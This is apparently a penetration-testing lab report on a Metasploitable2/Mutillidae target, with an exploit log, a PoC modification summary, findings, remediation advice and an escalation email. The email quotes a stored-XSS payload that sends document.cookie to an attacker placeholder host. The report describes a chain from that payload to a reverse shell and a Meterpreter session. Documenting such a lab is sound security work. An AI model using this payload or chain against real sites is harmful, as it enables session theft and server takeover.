1. Exploit Chain Log

Exploit ID	Description	Target IP	Status	Payload
004	Stored XSS to RCE Chain	192.168.56.104	Success	Meterpreter

Evidence for this chain is provided in the screenshots referenced throughout this report.

2. Custom PoC Modification Summary

The public Python exploit was modified for enhanced reliability and flexibility. Hardcoded parameters for the local host (LHOST) and port (LPORT) were replaced with command-line arguments using the *`argparse`* module. Furthermore, comprehensive error handling was added for the network socket connection to provide clear diagnostic messages and prevent the script from failing silently, making it more robust for penetration testing engagements.

3. Technical Findings & Remediation Report

Title: Chained Exploit on Metasploitable2 Web Server

Findings:
A critical vulnerability chain was successfully exploited on the target host (192.168.56.104). The initial attack vector was a Stored Cross-Site Scripting (XSS) flaw within the Mutillidae web application, allowing for the theft of user session cookies. This compromised session was then used to gain administrative access, which facilitated the upload and execution of a malicious PHP reverse shell. The final payload resulted in the establishment of a remote Meterpreter session, granting full control of the underlying Linux system.

Remediation:

- **Input Sanitization:** Implement strict output encoding for all user-generated content displayed by the web application.
- **Session Management:** Configure cookies with the **`HttpOnly`** and **`Secure`** flags to prevent client-side access via JavaScript.
- **Access Control:** Enforce the principle of least privilege for file upload functionalities and ensure uploaded files are not stored in web-accessible directories.
- **Patch Management:** Apply the latest security patches to the underlying web server and application frameworks.

4. Escalation Email to Development Team

To: Development Team
From: VAPT Team
Subject: URGENT: Critical Security Flaw Leading to Server Compromise

During our assessment, we discovered a critical attack chain on host 192.168.56.104. A Stored XSS vulnerability allowed us to steal session cookies and hijack an admin account. With these privileges, we uploaded and executed a reverse shell, granting complete remote control of the server.

Proof of Concept: The XSS payload `<script>fetch('http://[KALI_IP]/?c='+document.cookie)</script>` successfully captured credentials. The Metasploit framework was then used to gain a shell.

We recommend immediately sanitizing all user inputs and disabling the file upload feature until it can be properly secured.